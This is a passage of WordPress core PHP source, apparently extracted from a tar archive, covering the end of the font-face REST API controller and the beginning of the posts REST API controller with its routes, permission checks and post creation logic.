rest_is_field_included( 'theme_json_version', $fields ) ) { $data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED; } if ( rest_is_field_included( 'parent', $fields ) ) { $data['parent'] = $item->post_parent; } if ( rest_is_field_included( 'font_face_settings', $fields ) ) { $data['font_face_settings'] = $this->get_settings_from_post( $item ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); } /** * Filters the font face data for a REST API response. * * @since 6.5.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post Font face post object. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_wp_font_face', $response, $item, $request ); } /** * Retrieves the post's schema, conforming to JSON Schema. * * @since 6.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', // Base properties for every Post. 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the post.', 'default' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'theme_json_version' => array( 'description' => __( 'Version of the theme.json schema used for the typography settings.' ), 'type' => 'integer', 'default' => static::LATEST_THEME_JSON_VERSION_SUPPORTED, 'minimum' => 2, 'maximum' => static::LATEST_THEME_JSON_VERSION_SUPPORTED, 'context' => array( 'view', 'edit', 'embed' ), ), 'parent' => array( 'description' => __( 'The ID for the parent font family of the font face.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), // Font face settings come directly from theme.json schema // See https://schemas.wp.org/trunk/theme.json 'font_face_settings' => array( 'description' => __( 'font-face declaration in theme.json format.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'properties' => array( 'fontFamily' => array( 'description' => __( 'CSS font-family value.' ), 'type' => 'string', 'default' => '', 'arg_options' => array( 'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ), ), ), 'fontStyle' => array( 'description' => __( 'CSS font-style value.' ), 'type' => 'string', 'default' => 'normal', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontWeight' => array( 'description' => __( 'List of available font weights, separated by a space.' ), 'default' => '400', // Changed from `oneOf` to avoid errors from loose type checking. // e.g. a fontWeight of "400" validates as both a string and an integer due to is_numeric check. 'type' => array( 'string', 'integer' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontDisplay' => array( 'description' => __( 'CSS font-display value.' ), 'type' => 'string', 'default' => 'fallback', 'enum' => array( 'auto', 'block', 'fallback', 'swap', 'optional', ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'src' => array( 'description' => __( 'Paths or URLs to the font files.' ), // Changed from `oneOf` to `anyOf` due to rest_sanitize_array converting a string into an array, // and causing a "matches more than one of the expected formats" error. 'anyOf' => array( array( 'type' => 'string', ), array( 'type' => 'array', 'items' => array( 'type' => 'string', ), ), ), 'default' => array(), 'arg_options' => array( 'sanitize_callback' => function ( $value ) { return is_array( $value ) ? array_map( array( $this, 'sanitize_src' ), $value ) : $this->sanitize_src( $value ); }, ), ), 'fontStretch' => array( 'description' => __( 'CSS font-stretch value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'ascentOverride' => array( 'description' => __( 'CSS ascent-override value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'descentOverride' => array( 'description' => __( 'CSS descent-override value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontVariant' => array( 'description' => __( 'CSS font-variant value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontFeatureSettings' => array( 'description' => __( 'CSS font-feature-settings value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontVariationSettings' => array( 'description' => __( 'CSS font-variation-settings value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'lineGapOverride' => array( 'description' => __( 'CSS line-gap-override value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'sizeAdjust' => array( 'description' => __( 'CSS size-adjust value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'unicodeRange' => array( 'description' => __( 'CSS unicode-range value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'preview' => array( 'description' => __( 'URL to a preview image of the font face.' ), 'type' => 'string', 'format' => 'uri', 'default' => '', 'arg_options' => array( 'sanitize_callback' => 'sanitize_url', ), ), ), 'required' => array( 'fontFamily', 'src' ), 'additionalProperties' => false, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the item's schema for display / public consumption purposes. * * @since 6.5.0 * * @return array Public item schema data. */ public function get_public_item_schema() { $schema = parent::get_public_item_schema(); // Also remove `arg_options' from child font_family_settings properties, since the parent // controller only handles the top level properties. foreach ( $schema['properties']['font_face_settings']['properties'] as &$property ) { unset( $property['arg_options'] ); } return $schema; } /** * Retrieves the query params for the font face collection. * * @since 6.5.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); // Remove unneeded params. unset( $query_params['after'], $query_params['modified_after'], $query_params['before'], $query_params['modified_before'], $query_params['search'], $query_params['search_columns'], $query_params['slug'], $query_params['status'] ); $query_params['orderby']['default'] = 'id'; $query_params['orderby']['enum'] = array( 'id', 'include' ); /** * Filters collection parameters for the font face controller. * * @since 6.5.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_wp_font_face_collection_params', $query_params ); } /** * Get the params used when creating a new font face. * * @since 6.5.0 * * @return array Font face create arguments. */ public function get_create_params() { $properties = $this->get_item_schema()['properties']; return array( 'theme_json_version' => $properties['theme_json_version'], // When creating, font_face_settings is stringified JSON, to work with multipart/form-data used // when uploading font files. 'font_face_settings' => array( 'description' => __( 'font-face declaration in theme.json format, encoded as a string.' ), 'type' => 'string', 'required' => true, 'validate_callback' => array( $this, 'validate_create_font_face_settings' ), 'sanitize_callback' => array( $this, 'sanitize_font_face_settings' ), ), ); } /** * Get the parent font family, if the ID is valid. * * @since 6.5.0 * * @param int $font_family_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent_font_family_post( $font_family_id ) { $error = new WP_Error( 'rest_post_invalid_parent', __( 'Invalid post parent ID.', 'default' ), array( 'status' => 404 ) ); if ( (int) $font_family_id <= 0 ) { return $error; } $font_family_post = get_post( (int) $font_family_id ); if ( empty( $font_family_post ) || empty( $font_family_post->ID ) || 'wp_font_family' !== $font_family_post->post_type ) { return $error; } return $font_family_post; } /** * Prepares links for the request. * * @since 6.5.0 * * @param WP_Post $post Post object. * @return array Links for the given post. */ protected function prepare_links( $post ) { // Entity meta. return array( 'self' => array( 'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces/' . $post->ID ), ), 'collection' => array( 'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces' ), ), 'parent' => array( 'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent ), ), ); } /** * Prepares a single font face post for creation. * * @since 6.5.0 * * @param WP_REST_Request $request Request object. * @return stdClass Post object. */ protected function prepare_item_for_database( $request ) { $prepared_post = new stdClass(); // Settings have already been decoded by ::sanitize_font_face_settings(). $settings = $request->get_param( 'font_face_settings' ); // Store this "slug" as the post_title rather than post_name, since it uses the fontFamily setting, // which may contain multibyte characters. $title = WP_Font_Utils::get_font_face_slug( $settings ); $prepared_post->post_type = $this->post_type; $prepared_post->post_parent = $request['font_family_id']; $prepared_post->post_status = 'publish'; $prepared_post->post_title = $title; $prepared_post->post_name = sanitize_title( $title ); $prepared_post->post_content = wp_json_encode( $settings ); return $prepared_post; } /** * Sanitizes a single src value for a font face. * * @since 6.5.0 * * @param string $value Font face src that is a URL or the key for a $_FILES array item. * @return string Sanitized value. */ protected function sanitize_src( $value ) { $value = ltrim( $value ); return false === wp_http_validate_url( $value ) ? (string) $value : sanitize_url( $value ); } /** * Handles the upload of a font file using wp_handle_upload(). * * @since 6.5.0 * * @param array $file Single file item from $_FILES. * @return array|WP_Error Array containing uploaded file attributes on success, or WP_Error object on failure. */ protected function handle_font_file_upload( $file ) { add_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) ); // Filter the upload directory to return the fonts directory. add_filter( 'upload_dir', '_wp_filter_font_directory' ); $overrides = array( 'upload_error_handler' => array( $this, 'handle_font_file_upload_error' ), // Not testing a form submission. 'test_form' => false, // Only allow uploading font files for this request. 'mimes' => WP_Font_Utils::get_allowed_font_mime_types(), ); // Bypasses is_uploaded_file() when running unit tests. if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) { $overrides['action'] = 'wp_handle_mock_upload'; } $uploaded_file = wp_handle_upload( $file, $overrides ); remove_filter( 'upload_dir', '_wp_filter_font_directory' ); remove_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) ); return $uploaded_file; } /** * Handles file upload error. * * @since 6.5.0 * * @param array $file File upload data. * @param string $message Error message from wp_handle_upload(). * @return WP_Error WP_Error object. */ public function handle_font_file_upload_error( $file, $message ) { $status = 500; $code = 'rest_font_upload_unknown_error'; if ( __( 'Sorry, you are not allowed to upload this file type.' ) === $message ) { $status = 400; $code = 'rest_font_upload_invalid_file_type'; } return new WP_Error( $code, $message, array( 'status' => $status ) ); } /** * Returns relative path to an uploaded font file. * * The path is relative to the current fonts directory. * * @since 6.5.0 * @access private * * @param string $path Full path to the file. * @return string Relative path on success, unchanged path on failure. */ protected function relative_fonts_path( $path ) { $new_path = $path; $fonts_dir = wp_get_font_dir(); if ( str_starts_with( $new_path, $fonts_dir['basedir'] ) ) { $new_path = str_replace( $fonts_dir['basedir'], '', $new_path ); $new_path = ltrim( $new_path, '/' ); } return $new_path; } /** * Gets the font face's settings from the post. * * @since 6.5.0 * * @param WP_Post $post Font face post object. * @return array Font face settings array. */ protected function get_settings_from_post( $post ) { $settings = json_decode( $post->post_content, true ); $properties = $this->get_item_schema()['properties']['font_face_settings']['properties']; // Provide required, empty settings if needed. if ( null === $settings ) { $settings = array( 'fontFamily' => '', 'src' => array(), ); } // Only return the properties defined in the schema. return array_intersect_key( $settings, $properties ); } } ��������������������������������������������������������������������������������������������������class-wp-rest-posts-controller.php������������������������������������������������������������������0000644�����������������00000314454�15250636727�0013340 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Posts_Controller class * * @package WordPress * @subpackage REST_API * @since 4.7.0 */ /** * Core class to access posts via the REST API. * * @since 4.7.0 * * @see WP_REST_Controller */ class WP_REST_Posts_Controller extends WP_REST_Controller { /** * Post type. * * @since 4.7.0 * @var string */ protected $post_type; /** * Instance of a post meta fields object. * * @since 4.7.0 * @var WP_REST_Post_Meta_Fields */ protected $meta; /** * Passwordless post access permitted. * * @since 5.7.1 * @var int[] */ protected $password_check_passed = array(); /** * Whether the controller supports batching. * * @since 5.9.0 * @var array */ protected $allow_batch = array( 'v1' => true ); /** * Constructor. * * @since 4.7.0 * * @param string $post_type Post type. */ public function __construct( $post_type ) { $this->post_type = $post_type; $obj = get_post_type_object( $post_type ); $this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name; $this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2'; $this->meta = new WP_REST_Post_Meta_Fields( $this->post_type ); } /** * Registers the routes for posts. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); $schema = $this->get_item_schema(); $get_item_args = array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); if ( isset( $schema['properties']['excerpt'] ) ) { $get_item_args['excerpt_length'] = array( 'description' => __( 'Override the default excerpt length.' ), 'type' => 'integer', ); } if ( isset( $schema['properties']['password'] ) ) { $get_item_args['password'] = array( 'description' => __( 'The password for the post if it is password protected.' ), 'type' => 'string', ); } register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array( 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the post.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => $get_item_args, ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Whether to bypass Trash and force deletion.' ), ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read posts. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $post_type = get_post_type_object( $this->post_type ); if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Overrides the result of the post password check for REST requested posts. * * Allow users to read the content of password protected posts if they have * previously passed a permission check or if they have the `edit_post` capability * for the post being checked. * * @since 5.7.1 * * @param bool $required Whether the post requires a password check. * @param WP_Post $post The post been password checked. * @return bool Result of password check taking into account REST API considerations. */ public function check_password_required( $required, $post ) { if ( ! $required ) { return $required; } $post = get_post( $post ); if ( ! $post ) { return $required; } if ( ! empty( $this->password_check_passed[ $post->ID ] ) ) { // Password previously checked and approved. return false; } return ! current_user_can( 'edit_post', $post->ID ); } /** * Retrieves a collection of posts. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { // Ensure a search string is set in case the orderby is set to 'relevance'. if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) { return new WP_Error( 'rest_no_search_term_defined', __( 'You need to define a search term to order by relevance.' ), array( 'status' => 400 ) ); } // Ensure an include parameter is set in case the orderby is set to 'include'. if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) { return new WP_Error( 'rest_orderby_include_missing_include', __( 'You need to define an include parameter to order by include.' ), array( 'status' => 400 ) ); } // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); $args = array(); /* * This array defines mappings between public API query parameters whose * values are accepted as-passed, and their internal WP_Query parameter * name equivalents (some are the same). Only values which are also * present in $registered will be set. */ $parameter_mappings = array( 'author' => 'author__in', 'author_exclude' => 'author__not_in', 'exclude' => 'post__not_in', 'include' => 'post__in', 'ignore_sticky' => 'ignore_sticky_posts', 'menu_order' => 'menu_order', 'offset' => 'offset', 'order' => 'order', 'orderby' => 'orderby', 'page' => 'paged', 'parent' => 'post_parent__in', 'parent_exclude' => 'post_parent__not_in', 'search' => 's', 'search_columns' => 'search_columns', 'slug' => 'post_name__in', 'status' => 'post_status', ); /* * For each known parameter which is both registered and present in the request, * set the parameter's value on the query $args. */ foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $args[ $wp_param ] = $request[ $api_param ]; } } // Check for & assign any parameters which require special handling or setting. $args['date_query'] = array(); if ( isset( $registered['before'], $request['before'] ) ) { $args['date_query'][] = array( 'before' => $request['before'], 'column' => 'post_date', ); } if ( isset( $registered['modified_before'], $request['modified_before'] ) ) { $args['date_query'][] = array( 'before' => $request['modified_before'], 'column' => 'post_modified', ); } if ( isset( $registered['after'], $request['after'] ) ) { $args['date_query'][] = array( 'after' => $request['after'], 'column' => 'post_date', ); } if ( isset( $registered['modified_after'], $request['modified_after'] ) ) { $args['date_query'][] = array( 'after' => $request['modified_after'], 'column' => 'post_modified', ); } // Ensure our per_page parameter overrides any provided posts_per_page filter. if ( isset( $registered['per_page'] ) ) { $args['posts_per_page'] = $request['per_page']; } if ( isset( $registered['sticky'], $request['sticky'] ) ) { $sticky_posts = get_option( 'sticky_posts', array() ); if ( ! is_array( $sticky_posts ) ) { $sticky_posts = array(); } if ( $request['sticky'] ) { /* * As post__in will be used to only get sticky posts, * we have to support the case where post__in was already * specified. */ $args['post__in'] = $args['post__in'] ? array_intersect( $sticky_posts, $args['post__in'] ) : $sticky_posts; /* * If we intersected, but there are no post IDs in common, * WP_Query won't return "no posts" for post__in = array() * so we have to fake it a bit. */ if ( ! $args['post__in'] ) { $args['post__in'] = array( 0 ); } } elseif ( $sticky_posts ) { /* * As post___not_in will be used to only get posts that * are not sticky, we have to support the case where post__not_in * was already specified. */ $args['post__not_in'] = array_merge( $args['post__not_in'], $sticky_posts ); } } /* * Honor the original REST API `post__in` behavior. Don't prepend sticky posts * when `post__in` has been specified. */ if ( ! empty( $args['post__in'] ) ) { unset( $args['ignore_sticky_posts'] ); } if ( isset( $registered['search_semantics'], $request['search_semantics'] ) && 'exact' === $request['search_semantics'] ) { $args['exact'] = true; } $args = $this->prepare_tax_query( $args, $request ); if ( isset( $registered['format'], $request['format'] ) ) { $formats = $request['format']; /* * The relation needs to be set to `OR` since the request can contain * two separate conditions. The user may be querying for items that have * either the `standard` format or a specific format. */ $formats_query = array( 'relation' => 'OR' ); /* * The default post format, `standard`, is not stored in the database. * If `standard` is part of the request, the query needs to exclude all post items that * have a format assigned. */ if ( in_array( 'standard', $formats, true ) ) { $formats_query[] = array( 'taxonomy' => 'post_format', 'field' => 'slug', 'operator' => 'NOT EXISTS', ); // Remove the `standard` format, since it cannot be queried. unset( $formats[ array_search( 'standard', $formats, true ) ] ); } // Add any remaining formats to the formats query. if ( ! empty( $formats ) ) { // Add the `post-format-` prefix. $terms = array_map( static function ( $format ) { return "post-format-$format"; }, $formats ); $formats_query[] = array( 'taxonomy' => 'post_format', 'field' => 'slug', 'terms' => $terms, 'operator' => 'IN', ); } // Enable filtering by both post formats and other taxonomies by combining them with `AND`. if ( isset( $args['tax_query'] ) ) { $args['tax_query'][] = array( 'relation' => 'AND', $formats_query, ); } else { $args['tax_query'] = $formats_query; } } // Force the post_type argument, since it's not a user input variable. $args['post_type'] = $this->post_type; $is_head_request = $request->is_method( 'HEAD' ); if ( $is_head_request ) { // Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination. $args['fields'] = 'ids'; // Disable priming post meta for HEAD requests to improve performance. $args['update_post_term_cache'] = false; $args['update_post_meta_cache'] = false; } /** * Filters WP_Query arguments when querying posts via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_post_query` * - `rest_page_query` * - `rest_attachment_query` * * Enables adding extra arguments or setting defaults for a post collection request. * * @since 4.7.0 * @since 5.7.0 Moved after the `tax_query` query arg is generated. * * @link https://developer.wordpress.org/reference/classes/wp_query/ * * @param array $args Array of arguments for WP_Query. * @param WP_REST_Request $request The REST API request. */ $args = apply_filters( "rest_{$this->post_type}_query", $args, $request ); if ( ! is_array( $args ) ) { $args = array(); } $query_args = $this->prepare_items_query( $args, $request ); $posts_query = new WP_Query(); $query_result = $posts_query->query( $query_args ); // Allow access to all password protected posts if the context is edit. if ( 'edit' === $request['context'] ) { add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 ); } if ( ! $is_head_request ) { $posts = array(); update_post_author_caches( $query_result ); update_post_parent_caches( $query_result ); if ( post_type_supports( $this->post_type, 'thumbnail' ) ) { update_post_thumbnail_cache( $posts_query ); } foreach ( $query_result as $post ) { if ( 'edit' === $request['context'] ) { $permission = $this->check_update_permission( $post ); } else { $permission = $this->check_read_permission( $post ); } if ( ! $permission ) { continue; } $data = $this->prepare_item_for_response( $post, $request ); $posts[] = $this->prepare_response_for_collection( $data ); } } // Reset filter. if ( 'edit' === $request['context'] ) { remove_filter( 'post_password_required', array( $this, 'check_password_required' ) ); } $page = (int) ( $query_args['paged'] ?? 0 ); $total_posts = $posts_query->found_posts; if ( $total_posts < 1 && $page > 1 ) { // Out-of-bounds, run the query without pagination/offset to get the total count. unset( $query_args['paged'] ); $count_query = new WP_Query(); $query_args['fields'] = 'ids'; $query_args['posts_per_page'] = 1; $query_args['update_post_meta_cache'] = false; $query_args['update_post_term_cache'] = false; $count_query->query( $query_args ); $total_posts = $count_query->found_posts; } $max_pages = (int) ceil( $total_posts / (int) $posts_query->query_vars['posts_per_page'] ); if ( $page > $max_pages && $total_posts > 0 ) { return new WP_Error( 'rest_post_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } $response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $posts ); $response->header( 'X-WP-Total', (int) $total_posts ); $response->header( 'X-WP-TotalPages', (int) $max_pages ); $request_params = $request->get_query_params(); $collection_url = rest_url( rest_get_route_for_post_type_items( $this->post_type ) ); $base = add_query_arg( urlencode_deep( $request_params ), $collection_url ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Gets the post, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_post( $id ) { $error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) ); if ( (int) $id <= 0 ) { return $error; } $post = get_post( (int) $id ); if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) { return $error; } return $post; } /** * Checks if a given request has access to read a post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise. */ public function get_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( $post && ! empty( $request->get_query_params()['password'] ) ) { // Check post password, and return error if invalid. if ( ! hash_equals( $post->post_password, $request->get_query_params()['password'] ) ) { return new WP_Error( 'rest_post_incorrect_password', __( 'Incorrect post password.' ), array( 'status' => 403 ) ); } } // Allow access to all password protected posts if the context is edit. if ( 'edit' === $request['context'] ) { add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 ); } if ( $post ) { return $this->check_read_permission( $post ); } return true; } /** * Checks if the user can access password-protected content. * * This method determines whether we need to override the regular password * check in core with a filter. * * @since 4.7.0 * * @param WP_Post $post Post to check against. * @param WP_REST_Request $request Request data to check. * @return bool True if the user can access password-protected content, otherwise false. */ public function can_access_password_content( $post, $request ) { if ( empty( $post->post_password ) ) { // No filter required. return false; } /* * Users always gets access to password protected content in the edit * context if they have the `edit_post` meta capability. */ if ( 'edit' === $request['context'] && current_user_can( 'edit_post', $post->ID ) ) { return true; } // No password, no auth. if ( empty( $request['password'] ) ) { return false; } // Double-check the request password. return hash_equals( $post->post_password, $request['password'] ); } /** * Retrieves a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $data = $this->prepare_item_for_response( $post, $request ); $response = rest_ensure_response( $data ); if ( is_post_type_viewable( get_post_type_object( $post->post_type ) ) ) { $response->link_header( 'alternate', get_permalink( $post->ID ), array( 'type' => 'text/html' ) ); } return $response; } /** * Checks if a given request has access to create a post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) ); } $post_type = get_post_type_object( $this->post_type ); if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) { return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to create posts as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) { return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! current_user_can( $post_type->cap->create_posts ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create posts as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! $this->check_assign_terms_permission( $request ) ) { return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) ); } $prepared_post = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_post ) ) { return $prepared_post; } $prepared_post->post_type = $this->post_type; if ( ! empty( $prepared_post->post_name ) && ! empty( $prepared_post->post_status ) && in_array( $prepared_post->post_status, array( 'draft', 'pending' ), true ) ) { /* * `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts. * * To ensure that a unique slug is generated, pass the post data with the 'publish' status. */ $prepared_post->post_name = wp_unique_post_slug( $prepared_post->post_name, $prepared_post->id, 'publish', $prepared_post->post_type, $prepared_post->post_parent ); } $post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true, false ); if ( is_wp_error( $post_id ) ) { if ( 'db_insert_error' === $post_id->get_error_code() ) { $post_id->add_data( array( 'status' => 500 ) ); } else { $post_id->add_data( array( 'status' => 400 ) ); } return $post_id; } $post = get_post( $post_id ); /** * Fires after a single post is created or updated via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_insert_post` * - `rest_insert_page` * - `rest_insert_attachment` * * @since 4.7.0 * * @param WP_Post $post Inserted or updated post object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a post, false when updating. */ do_action( "rest_insert_{$this->post_type}", $post, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['sticky'] ) ) { if ( ! empty( $request['sticky'] ) ) { stick_post( $post_id ); } else { unstick_post( $post_id ); } } if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) { $this->handle_featured_media( $request['featured_media'], $post_id ); } if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) { set_post_format( $post, $request['format'] ); } if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) { $this->handle_template( $request['template'], $post_id, true ); } $terms_update = $this->handle_terms( $post_id, $request ); if ( is_wp_error( $terms_update ) ) { return $terms_update; } if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $post_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $post = get_post( $post_id ); $fields_update = $this->update_additional_fields_for_object( $post, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a single post is completely created or updated via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_after_insert_post` * - `rest_after_insert_page` * - `rest_after_insert_attachment` * * @since 5.0.0 * * @param WP_Post $post Inserted or updated post object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a post, false when updating. */ do_action( "rest_after_insert_{$this->post_type}", $post, $request, true ); wp_after_insert_post( $post, false, null ); $response = $this->prepare_item_for_response( $post, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( rest_get_route_for_post( $post ) ) ); return $response; } /** * Checks if a given request has access 